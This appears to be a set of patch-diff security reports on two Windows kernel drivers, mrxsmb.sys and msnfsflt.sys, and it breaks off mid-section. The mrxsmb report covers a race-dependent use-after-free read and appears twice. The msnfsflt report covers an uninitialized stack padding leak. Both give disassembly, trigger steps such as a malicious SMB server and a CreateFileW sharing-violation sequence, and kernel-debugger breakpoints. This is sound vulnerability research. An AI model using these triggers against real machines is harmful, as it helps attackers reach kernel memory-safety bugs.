Key Instructions: - 0x14000197D: call SmbCeDereferenceVNetRootContext — drops the reference; the last reference queues asynchronous teardown. - 0x140001989: lea rcx, [rbp+0x18] — computes an address into the object after the reference was dropped. - 0x140001ACE: mov rcx, [rcx] — reads *(rbp+0x18); this is the use-after-free read when the teardown wins the race. - 0x14002D174 / 0x14002D4FD: the patched pre-capture and its use, active only when the feature flag returns nonzero.

5. Trigger Conditions

Establish Context: Access a UNC path served by an SMB endpoint under the attacker's control, e.g. CreateFile(L"\\\\server\\share"), driving MRxSmbCreateVNetRoot.
Force the error path: Have the server return a negative NTSTATUS for the tree connect, or return a ShareType byte at *(config+0xBC) that is not one of the recognized values (which sets an internal status of 0xC00000CB, STATUS_INVALID_NETWORK_RESPONSE). Either drives SmbCeCompleteVNetRootConstruction down the error-cleanup path.
Drop the last reference: For the read to touch freed memory, SmbCeDereferenceVNetRootContext must drop the last reference (*(context+0x8) reaches zero), which posts SmbCepTearDownVNetRootContext to a worker thread.
Win the race: The posted teardown must free the VNetRoot allocation before the tail mov rcx, [rcx] reads *(rbp+0x18). This is a timing-dependent window; there is no in-thread reclamation opportunity between the dereference and the read.

6. Exploit Primitive & Development Notes

Demonstrable primitive: A use-after-free read of a single pointer field (*(VNetRoot+0x18), the mini-redirector device object pointer) that is passed as the first argument to RxPostToWorkerThread. Reaching a freed object requires losing a race against the deferred teardown worker; no synchronous free occurs at the read site.
Not demonstrated: This report does not establish a controlled-write, arbitrary-read, or code-execution primitive from this bug. Turning the read into anything beyond a stale/garbage device object pointer would require reclaiming the freed VNetRoot pool block with attacker-controlled contents inside the race window, which is not shown here. Claims of pool-spray-to-code-execution, KASLR/SMEP/SMAP defeat, or token theft are not supported by the code and are out of scope.

7. Debugger PoC Playbook

Use a kernel debugger attached to the unpatched build to observe the read-after-free window.

Breakpoints: - bp mrxsmb!SmbCeCompleteVNetRootConstruction — entry. Confirm r8d (completion status) is negative to select the error path. - bp 0x14000197D — the SmbCeDereferenceVNetRootContext call. Inspect *(rcx+0x8) (the reference count). If it is 1, this call drops the last reference and posts the teardown worker. - bp 0x140001ACE — the mov rcx, [rcx] read of *(rbp+0x18). Inspect rbp with !pool rbp to see whether the deferred teardown has already freed the block.

What to Inspect: - At entry: rcx = VNetRoot context pointer; r8d = completion status (negative selects the error path). - At 0x14000197D: rcx = VNetRoot context; dd rcx+0x8 L1 = reference count. - At 0x140001ACE: rcx = rbp+0x18; the value loaded is passed to RxPostToWorkerThread. !pool rbp shows whether the block is still allocated.

Trigger Setup: 1. Point a UNC path at an SMB server you control. 2. Configure it to reject the tree connect with a negative NTSTATUS or an unrecognized ShareType byte. 3. Access the path (for example dir \\server\share).

Expected Observation: Because the teardown is asynchronous, the read at 0x140001ACE typically returns a still-valid device object pointer in a single-threaded observation. Enabling Driver Verifier special pool on mrxsmb.sys is the reliable way to catch the read against a freed block if the teardown worker frees it first; without the race being won, the read completes normally.

Struct/Offset Notes (VNetRoot Context Object): - +0x08: Reference count decremented by SmbCeDereferenceVNetRootContext. - +0x18: Mini-redirector device object pointer (the value read at the tail and passed to RxPostToWorkerThread). - +0x1A0: Associated NET_ROOT object pointer. - +0x1A8: Connect configuration object (*(config+0xBC) = ShareType, *(config+0xB0) = flags). - +0x1B0: ActiveVNetRoots count (decremented inline on the error path). - +0x1E0: Current exchange/context pointer.

8. Changed Functions — Full Triage

SmbCeCompleteVNetRootConstruction (unpatched @ 0x140001840, patched @ 0x14002D130)
Change Type: Security Relevant
Notes: The patched build adds a Feature_1116195130__private_IsEnabledDeviceUsageNoInline check at entry that pre-captures *(arg1+0x18) into a stack slot, and a matching check at the tail that uses the pre-captured value in place of re-reading *(arg1+0x18) after the reference is dropped. When the feature is disabled, the tail re-reads *(arg1+0x18), identical to the unpatched behavior. The inline ActiveVNetRoots decrement on the error path was reorganized to call the pre-existing helper SmbCeDecrementActiveVNetRootsOnVNetRootContext (present and identical in both builds at unpatched 0x140001E00 / patched 0x140001810); this reorganization is not the security change and does not create a new helper.

(Independent content diff: every other differing function — MRxSmbCreateVNetRoot, MRxSmbFinalizeVNetRoot, SmbCeDereferenceExchange, SmbCeDereferenceVNetRootContext, SmbCeFindVNetRootContext, SmbCeReferenceVNetRootContext, SmbCepTearDownVNetRootContext, several WPP_SF_* wrappers, and others — differs only by a WPP trace-GUID rename, ETW/WPP trace-id renumbering, or decompiler variable naming. None carry a logic change.)

9. Unmatched Functions

Added: Feature_1116195130__private_IsEnabledDeviceUsageNoInline @ 0x14004C884 and Feature_1116195130__private_IsEnabledFallback — WIL feature-staging helpers that back the feature gate.
Removed: None.

10. Confidence & Caveats

Confidence: Medium. The unpatched read of *(rbp+0x18) after SmbCeDereferenceVNetRootContext is present and confirmed in the disassembly, and the patched pre-capture is confirmed. The practical impact is limited by the deferred-free design and by the feature gate.
Deferred free: SmbCeDereferenceVNetRootContext does not free the object synchronously; it posts SmbCepTearDownVNetRootContext to a worker thread. The use-after-free is a race against that worker, not a deterministic post-free read.
Staged rollout: The mitigation is gated behind Feature_1116195130__private_IsEnabledDeviceUsageNoInline, and the original re-read is retained on the disabled branch. When the feature is off, the patched build is behaviorally identical to the unpatched build.

mrxsmb.sys — Use-after-free read of VNetRoot context in tree-connect completion (CWE-416), mitigated behind a feature flag

2026-07-03T00:00:00-07:00

1. Overview

Unpatched Binary: mrxsmb_unpatched.sys
Patched Binary: mrxsmb_patched.sys
Overall Similarity: 0.9912
Diff Statistics: One function has a security-relevant behavioral change (SmbCeCompleteVNetRootConstruction). All other function differences are WPP trace-GUID renaming, ETW/WPP trace-id renumbering, and decompiler variable-naming noise. The patched build adds two WIL feature-staging helpers (Feature_1116195130__private_IsEnabledDeviceUsageNoInline, Feature_1116195130__private_IsEnabledFallback).
Verdict: The patched build adds a mitigation for a use-after-free read (CWE-416) in SmbCeCompleteVNetRootConstruction. On the tree-connect error path the handler reads *(VNetRoot+0x18) after dropping its reference to the VNetRoot context and passes the value to RxPostToWorkerThread. Because dropping the last reference queues an asynchronous teardown rather than freeing synchronously, the read is a use-after-free only when the teardown worker races ahead and frees the object first. The mitigation pre-captures the pointer at entry but is gated behind the feature flag Feature_1116195130__private_IsEnabledDeviceUsageNoInline, with the original re-read retained on the disabled branch (staged rollout).

2. Vulnerability Summary

Medium-Severity Use-After-Free read (CWE-416) in `SmbCeCompleteVNetRootConstruction`

Root Cause: SmbCeCompleteVNetRootConstruction (unpatched @ 0x140001840, patched @ 0x14002D130) processes SMB tree-connect (VNetRoot) construction completion. Its first argument is the VNetRoot context pointer (kept in rbp in the unpatched build). When the completion status is negative or the response ShareType at *(config+0xBC) is not a recognized value, execution enters the error-cleanup path.

That path calls SmbCeDereferenceVNetRootContext(rbp) at 0x14000197D, which drops a reference on the VNetRoot context. After the call the code computes lea rcx, [rbp+0x18] at 0x140001989 and at the tail executes mov rcx, [rcx] at 0x140001ACE, reading *(rbp+0x18) (the mini-redirector device object pointer) and passing it to RxPostToWorkerThread at 0x140001AD6. Reading *(rbp+0x18) after the reference was dropped is a use-after-free read.

The free is asynchronous. SmbCeDereferenceVNetRootContext @ 0x140001C10 decrements the reference count at *(context+0x8); only when it reaches zero does it post SmbCepTearDownVNetRootContext to a worker thread via RxPostToWorkerThread (0x140001D48). The actual free occurs in that deferred teardown, so the tail read is a use-after-free only when the teardown wins the race against the read.

The patch captures *(arg1+0x18) into a stack slot at function entry when Feature_1116195130__private_IsEnabledDeviceUsageNoInline returns nonzero, and uses that captured value at the tail. When the feature is disabled, the tail re-reads *(arg1+0x18) exactly as the unpatched code does.

Attacker-Reachable Entry Point & Data Flow: 1. A victim accesses a network path (\\server\share) served by an attacker-controlled SMB endpoint. 2. mrxsmb.sys drives VNetRoot construction via MRxSmbCreateVNetRoot @ 0x140035AB0. 3. Construction completion calls SmbCeCompleteVNetRootConstruction (call sites 0x140001823, 0x1400360AA). 4. The server returns an error status or invalid ShareType, forcing the error-cleanup path. 5. SmbCeDereferenceVNetRootContext drops the reference; the last reference queues SmbCepTearDownVNetRootContext. 6. The tail reads *(rbp+0x18) for RxPostToWorkerThread; if the teardown has already freed the object, this is a use-after-free read.

3. Pseudocode Diff

// === UNPATCHED SmbCeCompleteVNetRootConstruction @ 0x140001840 ===
// rbp = arg1 = VNetRoot context
// ... error-cleanup logic (inline spinlock, ActiveVNetRoots decrement) ...
SmbCeDereferenceVNetRootContext(rbp);   // drops a ref; last ref queues async teardown
*(arg2 + 0x118) = r14;
rcx = rbp + 0x18;                       // address into possibly-freed object
r9 = *(arg2 + 0x110);
*(arg2 + 0x11c) = r14;
return RxPostToWorkerThread(*rcx, 0, arg2 + 0xc8, r9, ...);   // reads *(rbp+0x18): potential UAF read

// === PATCHED SmbCeCompleteVNetRootConstruction @ 0x14002D130 ===
// r14 = arg1 = VNetRoot context
pMRxDeviceObject = 0;
if (Feature_1116195130__private_IsEnabledDeviceUsageNoInline())
    pMRxDeviceObject = *(arg1 + 0x18);  // pre-capture BEFORE any deref (mitigation ON)
// ... error-cleanup via pre-existing helper ...
SmbCeDereferenceVNetRootContext(arg1);  // drops a ref; last ref queues async teardown
if (Feature_1116195130__private_IsEnabledDeviceUsageNoInline())
    rcx = pMRxDeviceObject;             // mitigation ON: use pre-captured value
else
    rcx = *(arg1 + 0x18);               // mitigation OFF: same read as unpatched
return RxPostToWorkerThread(rcx, 0, ...);

4. Assembly Analysis

Unpatched (`SmbCeCompleteVNetRootConstruction @ 0x140001840`)

000000014000197A  mov     rcx, rbp
000000014000197D  call    SmbCeDereferenceVNetRootContext    ; drops a ref (async teardown on last ref)
0000000140001982  mov     [rbx+118h], r14d
0000000140001989  lea     rcx, [rbp+18h]                     ; address into possibly-freed object
000000014000198D  test    r13b, r13b
0000000140001990  jnz     loc_140001AB7
0000000140001996  jmp     loc_140001AB4
0000000140001AB4  xor     r14d, r14d
0000000140001AB7  mov     r9, [rbx+110h]
0000000140001ABE  lea     r8, [rbx+0C8h]
0000000140001AC5  mov     [rbx+11Ch], r14d
0000000140001ACC  xor     edx, edx
0000000140001ACE  mov     rcx, [rcx]                         ; reads *(rbp+0x18): potential UAF read
0000000140001AD6  call    cs:__imp_RxPostToWorkerThread

Deferred free inside SmbCeDereferenceVNetRootContext @ 0x140001C10:

0000000140001C2B  lock xadd [rcx+8], esi                     ; decrement ref count at +0x8
0000000140001C50  test    esi, esi
0000000140001C52  jnz     loc_140001D59                      ; nonzero -> return, no teardown
0000000140001D36  lea     r9, SmbCepTearDownVNetRootContext  ; last ref: post teardown to worker
0000000140001D48  call    cs:__imp_RxPostToWorkerThread

Patched (`SmbCeCompleteVNetRootConstruction @ 0x14002D130`)

000000014002D156  mov     [rsp+78h+pMRxDeviceObject], 0
000000014002D16B  call    Feature_1116195130__private_IsEnabledDeviceUsageNoInline
000000014002D170  test    eax, eax
000000014002D172  jz      short loc_14002D180
000000014002D174  mov     rax, [r14+18h]                     ; pre-capture *(arg1+0x18)
000000014002D178  mov     [rsp+78h+pMRxDeviceObject], rax
000000014002D4C2  call    SmbCeDereferenceVNetRootContext
000000014002D4D9  call    Feature_1116195130__private_IsEnabledDeviceUsageNoInline
000000014002D4F3  test    eax, eax
000000014002D4F5  jnz     short loc_14002D4FD
000000014002D4F7  mov     rcx, [r14+18h]                     ; feature OFF: re-read (same as unpatched)
000000014002D4FB  jmp     short loc_14002D505
000000014002D4FD  mov     rcx, [rsp+78h+pMRxDeviceObject]    ; feature ON: use pre-captured value
000000014002D505  call    cs:__imp_RxPostToWorkerThread

5. Trigger Conditions

Set up an SMB endpoint the victim will connect to.
Force the error path by returning a negative NTSTATUS for the tree connect, or a ShareType byte at *(config+0xBC) that is not a recognized value (which sets internal status 0xC00000CB, STATUS_INVALID_NETWORK_RESPONSE).
Induce the victim to connect (for example dir \\server\share), driving MRxSmbCreateVNetRoot and then SmbCeCompleteVNetRootConstruction.
Drop the last reference: SmbCeDereferenceVNetRootContext must bring *(context+0x8) to zero so SmbCepTearDownVNetRootContext is posted.
Win the race: the posted teardown must free the VNetRoot block before the tail mov rcx, [rcx] reads *(rbp+0x18). There is no in-thread reclamation window between the dereference and the read.

6. Exploit Primitive & Development Notes

Demonstrable primitive: A use-after-free read of one pointer field (*(VNetRoot+0x18), the mini-redirector device object pointer) passed as the first argument to RxPostToWorkerThread. Touching freed memory requires losing a race against the asynchronous teardown worker; no synchronous free occurs at the read site.
Not demonstrated: No controlled-write, arbitrary-read, or code-execution primitive is established from this bug. Reclaiming the freed VNetRoot pool block with attacker-controlled contents inside the race window is not shown, and claims of pool-spray-to-code-execution, KASLR/SMEP/SMAP defeat, or token theft are unsupported and out of scope.

7. Debugger PoC Playbook

Attach a kernel debugger to the unpatched build.

Breakpoints

bp mrxsmb!SmbCeCompleteVNetRootConstruction   ; entry: confirm r8d (status) is negative
bp 0x14000197D                                ; SmbCeDereferenceVNetRootContext call; dd rcx+0x8 L1 = refcount
bp 0x140001ACE                                ; mov rcx,[rcx]: reads *(rbp+0x18); !pool rbp to check the block

What to Inspect

At entry: rcx = VNetRoot context; r8d = completion status (negative selects the error path).
At 0x14000197D: rcx = VNetRoot context; *(rcx+0x8) = reference count. If it is 1, this call drops the last reference and posts the teardown worker.
At 0x140001ACE: rcx = rbp+0x18; the loaded value is passed to RxPostToWorkerThread. !pool rbp shows whether the deferred teardown has already freed the block.

Trigger Setup

Point a UNC path at an SMB server you control.
Have it reject the tree connect with a negative NTSTATUS or an unrecognized ShareType byte (valid recognized values are 0/1/3).
Access the path from the victim (dir \\server\share).

Expected Observation

Because teardown is asynchronous, the tail read at 0x140001ACE normally returns a still-valid device object pointer in a single-threaded observation. Driver Verifier special pool on mrxsmb.sys is the reliable way to catch the read against a freed block when the teardown worker frees it first.

8. Changed Functions — Full Triage

SmbCeCompleteVNetRootConstruction (unpatched @ 0x140001840, patched @ 0x14002D130, Change Type: Security Relevant)
Changes: Added a Feature_1116195130__private_IsEnabledDeviceUsageNoInline-gated pre-capture of *(arg1+0x18) at entry and a matching check at the tail that uses the pre-captured value instead of re-reading *(arg1+0x18) after the reference is dropped. When the feature is disabled, the tail re-reads *(arg1+0x18), identical to the unpatched code. The inline ActiveVNetRoots decrement was reorganized to call the pre-existing helper SmbCeDecrementActiveVNetRootsOnVNetRootContext (present and identical in both builds at unpatched 0x140001E00 / patched 0x140001810); no new helper was created, and this reorganization is not the security change.

(Independent content diff confirms no other security-relevant change: all remaining differing functions differ only by WPP trace-GUID rename, ETW/WPP trace-id renumbering, or decompiler variable naming.)

9. Unmatched Functions

Added: Feature_1116195130__private_IsEnabledDeviceUsageNoInline @ 0x14004C884 and Feature_1116195130__private_IsEnabledFallback (WIL feature-staging helpers backing the gate).
Removed: None.

10. Confidence & Caveats

Confidence Level: Medium. The unpatched read of *(rbp+0x18) after SmbCeDereferenceVNetRootContext and the patched pre-capture are both confirmed in the disassembly.
Deferred free: SmbCeDereferenceVNetRootContext posts SmbCepTearDownVNetRootContext to a worker thread rather than freeing synchronously, so the use-after-free is a race, not a deterministic post-free read.
Staged rollout: The mitigation is gated behind Feature_1116195130__private_IsEnabledDeviceUsageNoInline with the original re-read retained on the disabled branch. When the feature is off, the patched build is behaviorally identical to the unpatched build. ShareType values 0/1/3 are the recognized values; other values drive the internal 0xC00000CB status.

msnfsflt.sys — Uninitialized kernel stack memory leaked through NFS server-call record (CWE-908) fixed

2026-07-03T00:00:00-07:00

1. Overview

Unpatched binary: msnfsflt_unpatched.sys
Patched binary: msnfsflt_patched.sys
Overall similarity: 0.8262
Function diff statistics:
Matched functions: 76
Changed functions: 45
Identical functions: 31
Unmatched removed: 0
Unmatched added: 0

Verdict: The patch fixes an uninitialized kernel stack information leak in the NFS minifilter. Two functions build a 0x4c-byte "server call information" record on the kernel stack and populate it through MsNfsFltServerCallInformationInitialization, which writes every named field but leaves 8 bytes of inter-field padding (offsets +0x04 and +0x14) unwritten. The record is then handed to the registered NFS server notification callback. The unpatched builds do not zero the record first, so the padding carries stale kernel stack bytes. The patch inserts memset(record, 0, 0x4c) before population in both affected functions: MsNfsFltNotifyServerOfBlockingFileOpen (the STATUS_SHARING_VIOLATION handler) and MsNfsFltPostOpCreate (the post-create callback).

2. Vulnerability Summary

Finding 1: Uninitialized kernel stack memory passed to the NFS server-call callback

Severity: Medium
Vulnerability class:
CWE-908: Use of Uninitialized Resource
CWE-200: Information Exposure
Affected functions (unpatched):
MsNfsFltNotifyServerOfBlockingFileOpen @ 0x1C0009C50 (record at [rbp-0x30])
MsNfsFltPostOpCreate @ 0x1C0008BB0 (record at [rbp-0x30], local var_70)
Patched functions:
MsNfsFltNotifyServerOfBlockingFileOpen @ 0x1C0009DA8
MsNfsFltPostOpCreate @ 0x1C000A080
Entry point: IRP_MJ_CREATE post-operation callback (MsNfsFltPostOpCreate). The MsNfsFltNotifyServerOfBlockingFileOpen path is reached when a create returns STATUS_SHARING_VIOLATION / 0xC0000043; the MsNfsFltPostOpCreate record is built on the normal (non-error) activity-notification path.

Root cause

Both functions declare a 0x4c-byte record on the kernel stack and fill it through the shared builder MsNfsFltServerCallInformationInitialization (0x1C0003578 unpatched, relocated to 0x1C0002E18 patched — byte-for-byte identical). The builder writes:

+0x00 (4), +0x08 (8), +0x10 (4), +0x18 (8), +0x20 (8), +0x28 (8), +0x30 (8), +0x38 (8), +0x40 (4), +0x44 (4), +0x48 (4), +0x4C (4)

It never writes +0x04..0x07 or +0x14..0x17. In the unpatched builds the record is not zeroed before this call, so those 8 bytes keep whatever was previously on the stack frame.

The partially populated record is then passed to the registered server notification callback (installed via MsNfsFltRegisterServer), stored at arg1[8] ([rdi+0x40]), and invoked through the Control Flow Guard dispatch stub with the record address in rdx:

if ( arg1[8] && arg2 != 1 )
    arg1[8](arg1[7], &record);   // dispatched via __guard_dispatch_icall_fptr

The patched version inserts, before the record is populated:

memset(&record, 0, 0x4c);

This zeroes the padding bytes before any field assignment.

Attacker-reachable call chain

A user-mode application opens a file on a volume monitored by msnfsflt.sys.
The post-create minifilter callback MsNfsFltPostOpCreate runs.
On the normal activity path, MsNfsFltPostOpCreate builds its own stack record (var_70) via MsNfsFltServerCallInformationInitialization and forwards it to MsNfsFltNotifyServerOfFileActivity / MsNfsFltNotifyServerOfVolumeActivity, which relay it to the registered server callback.
If the create returned STATUS_SHARING_VIOLATION (0xC0000043), MsNfsFltPostOpCreate instead calls MsNfsFltNotifyServerOfBlockingFileOpen (cmp eax, 0C0000043h at 0x1C0008DA9, call at 0x1C0008DBA).
MsNfsFltNotifyServerOfBlockingFileOpen builds its record ([rbp-0x30]) via the same builder.
The builder leaves padding at +0x04 and +0x14 uninitialized.
The record is passed to the server callback:

arg1[8](arg1[7], &record)

Whatever the callback does with the record, the 8 stale stack bytes leave the local frame in kernel context.

3. Pseudocode Diff

Unpatched `MsNfsFltNotifyServerOfBlockingFileOpen` (`0x1C0009C50`)

void MsNfsFltNotifyServerOfBlockingFileOpen(
    struct _FLT_INSTANCE **a1,
    __int64 a2,
    struct _FLT_CALLBACK_DATA *a3)
{
    _BYTE record[0x4c];   // [rbp-0x30], NOT zero-initialized

    // ... FltGetFileNameInformation / FltCreateFile / ObReferenceObjectByHandle /
    //     FltQueryInformationFile (FileInternalInformation, FileStandardInformation) ...

    // Builder writes named fields only; padding at +0x04 and +0x14 stays stale.
    MsNfsFltServerCallInformationInitialization(record, a2, a3, 1, 1, FileInformation);

    // flags field at record+0x10 is updated from partially populated data
    *(int *)(record + 0x10) =
        (*(int *)(record + 0x10) & 0xFFFFFF6F)
        | (16 * ((BYTE5(v21) & 1) | (8 * ((a3->Iopb->Parameters.Create.Options & 0x1000) != 0))))
        | 8;

    if ( MsNfsFltOperationBegin(a1) >= 0 )
    {
        if ( a1[8] != NULL && a2 != 1 )
            a1[8](a1[7], record);   // record padding still stale
    }
    // ...
}

Patched `MsNfsFltNotifyServerOfBlockingFileOpen` (`0x1C0009DA8`)

void MsNfsFltNotifyServerOfBlockingFileOpen(
    struct _FLT_INSTANCE **a1,
    __int64 a2,
    struct _FLT_CALLBACK_DATA *a3)
{
    _BYTE record[0x4c];   // [rbp-0x30]

    memset(&record, 0, 0x4c);   // FIX: zero the full record before use

    // ... same acquisition sequence ...

    MsNfsFltServerCallInformationInitialization(record, a2, a3, 1, 1, FileInformation);
    // padding at +0x04 and +0x14 is now guaranteed zero
    // ...
}

Second fixed site: `MsNfsFltPostOpCreate`

The same record is built on the post-create activity path. Unpatched (0x1C0008BB0) calls the builder at 0x1C0008D25 with no prior zeroing of var_70. Patched (0x1C000A080) prepends memset(&var_70, 0, 0x4c) at 0x1C000A0B6, before any other work in the function.

Activity record write map (both builds, `MsNfsFltServerCallInformationInitialization`)

Offset	Size	Written by builder
`0x00`	4	Yes: flags (constant `1`)
`0x04`	4	No — uninitialized padding
`0x08`	8	Yes: `a2` (file id / type indicator)
`0x10`	4	Yes: operation flags
`0x14`	4	No — uninitialized padding
`0x18`	8	Yes: file information (file internal id)
`0x20`	8	Yes: `0`
`0x28`	8	Yes: `0`
`0x30`	8	Yes: `0`
`0x38`	8	Yes: `0`
`0x40`	4	Yes: `0xFFFFFFFF`
`0x44`	4	Yes: `0xFFFFFFFF`
`0x48`	4	Yes: `0xFFFFFFFF`
`0x4C`	4	Yes: `0xFFFFFFFF`

The record spans 0x00–0x4F; the added memset covers 0x00–0x4B, which includes both padding gaps. The 0x4C field is written by the builder in both builds.

4. Assembly Analysis

Unpatched `MsNfsFltNotifyServerOfBlockingFileOpen` (`0x1C0009C50`)

The record lives at [rbp-0x30] and is never zeroed before the builder runs. The relevant tail of the function:

00000001C0009E1A  mov     rax, [rbp+60h+FileInformation]
00000001C0009E1E  lea     r9d, [r15+1]
00000001C0009E22  mov     [rsp+160h+IoStatusBlock], rax
00000001C0009E27  lea     rcx, [rbp+60h+var_90]           ; rcx = &record ([rbp-0x30]), UNINITIALIZED
00000001C0009E2B  mov     r8, rsi                         ; r8 = a3
00000001C0009E2E  mov     byte ptr [rsp+160h+ObjectAttributes], 1
00000001C0009E33  mov     rdx, r14                        ; rdx = a2
00000001C0009E36  call    MsNfsFltServerCallInformationInitialization
00000001C0009E3B  mov     r8, [rsi+10h]                   ; a3->Iopb
00000001C0009E3F  movzx   eax, byte ptr [rbp+60h+var_30+5]
00000001C0009E43  and     eax, 1
00000001C0009E46  mov     ecx, [r8+20h]
00000001C0009E4A  shr     ecx, 0Ch
00000001C0009E4D  and     ecx, 1
00000001C0009E50  shl     ecx, 3
00000001C0009E53  or      ecx, eax
00000001C0009E55  mov     eax, [rbp+60h+var_80]           ; record+0x10 flags field
00000001C0009E58  shl     ecx, 4
00000001C0009E5B  and     eax, 0FFFFFF6Fh
00000001C0009E60  or      ecx, eax
00000001C0009E62  or      ecx, 8
00000001C0009E65  mov     [rbp+60h+var_80], ecx
00000001C0009E68  mov     rcx, rdi                        ; rcx = a1
00000001C0009E6B  call    MsNfsFltOperationBegin
00000001C0009E70  test    eax, eax
00000001C0009E72  js      short loc_1C0009EA6
00000001C0009E74  mov     rax, [rdi+40h]                  ; a1[8] = server callback pointer
00000001C0009E78  test    rax, rax
00000001C0009E7B  jz      short loc_1C0009E91             ; no callback -> skip
00000001C0009E7D  cmp     r14, 1                          ; a2 != 1 ?
00000001C0009E81  jz      short loc_1C0009E91
00000001C0009E83  mov     rcx, [rdi+38h]                  ; a1[7] = callback context
00000001C0009E87  lea     rdx, [rbp+60h+var_90]           ; rdx = &record (padding still stale)
00000001C0009E8B  call    cs:__guard_dispatch_icall_fptr  ; CFG-dispatched call of a1[8](a1[7], &record)
00000001C0009E91  mov     rcx, rdi
00000001C0009E94  call    MsNfsFltOperationComplete
00000001C0009E99  jmp     short loc_1C0009EA6

The indirect call at 0x1C0009E8B goes through the Control Flow Guard dispatch stub (__guard_dispatch_icall_fptr); the actual target is the pointer loaded from [rdi+0x40] at 0x1C0009E74.

Patched `MsNfsFltNotifyServerOfBlockingFileOpen` (`0x1C0009DA8`)

The patched prologue adds the memset:

00000001C0009DCE  xor     r15d, r15d
00000001C0009DD1  mov     r14, r8                         ; r14 = a3
00000001C0009DD4  mov     rsi, rdx                        ; rsi = a2
00000001C0009DD7  mov     [rsp+160h+Object], r15
00000001C0009DDC  mov     rdi, rcx                        ; rdi = a1
00000001C0009DDF  mov     [rbp+60h+FileInformation], r15
00000001C0009DE3  xorps   xmm0, xmm0
00000001C0009DE6  mov     [rbp+60h+FileNameInformation], r15
00000001C0009DEA  xor     eax, eax
00000001C0009DEC  lea     r8d, [r15+4Ch]                  ; r8 = 0x4c  (memset size)
00000001C0009DF0  xor     edx, edx                        ; edx = 0    (fill byte)
00000001C0009DF2  mov     [rbp+60h+var_30], rax
00000001C0009DF6  lea     rcx, [rbp+60h+var_90]           ; rcx = &record ([rbp-0x30])
00000001C0009DFA  movups  [rbp+60h+var_40], xmm0
00000001C0009DFE  call    memset                          ; memset(&record, 0, 0x4c)

After this call, offsets +0x04 and +0x14 are zero before the record builder runs at 0x1C0009FB9.

Patched `MsNfsFltPostOpCreate` (`0x1C000A080`)

The same fix at the second site, at the very top of the function:

00000001C000A0A9  xor     edx, edx                        ; Val = 0
00000001C000A0AB  mov     rdi, rcx
00000001C000A0AE  lea     rcx, [rbp+57h+var_70]           ; &record
00000001C000A0B2  lea     r8d, [rdx+4Ch]                  ; Size = 0x4c
00000001C000A0B6  call    memset                          ; memset(&var_70, 0, 0x4c)

The unpatched MsNfsFltPostOpCreate (0x1C0008BB0) has no equivalent zeroing before its builder call at 0x1C0008D25.

5. Trigger Conditions

Ensure Services for NFS is installed and msnfsflt.sys is loaded and attached.
From a shell, fltmc should list the NFS filter.
A registered NFS server callback is required for the callback-delivery path. Registration is performed by the NFS redirector service via MsNfsFltRegisterServer. The callback path requires:

arg1[8] != NULL
arg2 != 1

Create or identify a target file on a filtered volume.
For the STATUS_SHARING_VIOLATION path, open the file once with exclusive sharing:

HANDLE hA = CreateFileW(
    L"\\\\?\\C:\\NfsFltTarget\\file.bin",
    GENERIC_READ | GENERIC_WRITE,
    0,                          // exclusive: no sharing
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);

While hA remains open, open the same file again with incompatible access:

HANDLE hB = CreateFileW(
    L"\\\\?\\C:\\NfsFltTarget\\file.bin",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
);

The second create returns ERROR_SHARING_VIOLATION (Win32 error 32), NT status:

STATUS_SHARING_VIOLATION = 0xC0000043

MsNfsFltPostOpCreate compares the status at 0x1C0008DA9 and calls MsNfsFltNotifyServerOfBlockingFileOpen at 0x1C0008DBA.
Inside MsNfsFltNotifyServerOfBlockingFileOpen, these calls must succeed:
FltGetFileNameInformation
FltCreateFile
ObReferenceObjectByHandle
FltQueryInformationFile (twice: FileInternalInformation, FileStandardInformation)
MsNfsFltServerCallInformationInitialization
If the server callback is registered and arg2 != 1, the record is passed to arg1[8](arg1[7], &record).
Observable confirmation:
- In a kernel debugger, the bytes at [rbp-0x30]+0x04 and [rbp-0x30]+0x14 are non-zero before the callback in the unpatched build.
- In the patched build, those bytes are zero.
- There is no crash; this is an information-initialization issue, not memory corruption.

Note: the ordinary (non-error) post-create activity path builds the MsNfsFltPostOpCreate var_70 record on every monitored create, so the second fixed site is reached without needing a sharing violation.

6. Exploit Primitive and Development Notes

Primitive

The vulnerability is a kernel stack information-initialization flaw.

Uninitialized bytes: 8 per record (4 at +0x04, 4 at +0x14).
The bytes are structure padding filled with stale kernel stack contents from earlier execution in the same thread frame. Their content is not controlled or predictable from the binaries.

What is established from the binaries

Both unpatched functions build the record without zeroing it, and the shared builder leaves the two padding gaps unwritten.
The record is passed to the registered server notification callback (directly in MsNfsFltNotifyServerOfBlockingFileOpen, or via MsNfsFltNotifyServerOfFileActivity / MsNfsFltNotifyServerOfVolumeActivity in MsNfsFltPostOpCreate).
The patch zeroes the record in both functions.

What is NOT established from the binaries

Whether the registered callback (in the NFS server subsystem) copies, stores, or transmits the padding bytes, and whether they reach any lower-privilege or remote sink. The callback target is not present in these two binaries.
The semantic value of the leaked bytes. No claim about kernel pointers, return addresses, tokens, or KASLR-relevant content can be justified from this diff.

Because downstream observability is not demonstrable here, the severity is capped at Medium and the leak should be treated as an uninitialized-padding disclosure of undetermined exploit value rather than a proven information-disclosure primitive.

Mitigations notes

KASLR / SMEP / SMAP / CFG / XFG / HVCI: none of these prevent an uninitialized-padding disclosure, and none are bypassed by it on their own. This bug produces no control-flow or write primitive.
Stack zeroing: fresh kernel stack pages may be zeroed, but frame reuse means stale data can remain in reused slots; the patch removes the dependency on that.

7. Debugger Notes

This section assumes a kernel debugger is attached to the unpatched target with msnfsflt.sys loaded. Runtime addresses differ from the static 0x1c000000-based addresses because of relocation; use module-relative offsets.

0: kd> lm m msnfsflt*

Key breakpoints (unpatched offsets)

1. Post-create status check

bp msnfsflt_unpatched+0x8da9

MsNfsFltPostOpCreate compares the create status against 0xC0000043 here; the jnz at +0x8dae and the call to MsNfsFltNotifyServerOfBlockingFileOpen at +0x8dba follow.

2. Vulnerable handler entry

bp msnfsflt_unpatched+0x9c50

Entry registers: rcx = a1 (instance/server context), rdx = a2, r8 = a3 (FLT_CALLBACK_DATA*). After the prologue, rdi = a1, r14 = a2, rsi = a3.

3. Before the record builder call

bp msnfsflt_unpatched+0x9e36

rcx = [rbp-0x30] points to the uninitialized record. Inspect the padding gaps:

dd @rcx+4 l1
dd @rcx+0x14 l1

4. After the builder returns

bp msnfsflt_unpatched+0x9e3b
dd @rbp-0x30 l0x13
dd @rbp-0x30+4 l1
dd @rbp-0x30+0x14 l1

The two DWORDs at +0x04 and +0x14 retain pre-call stack contents (the builder does not write them).

5. Server callback invocation

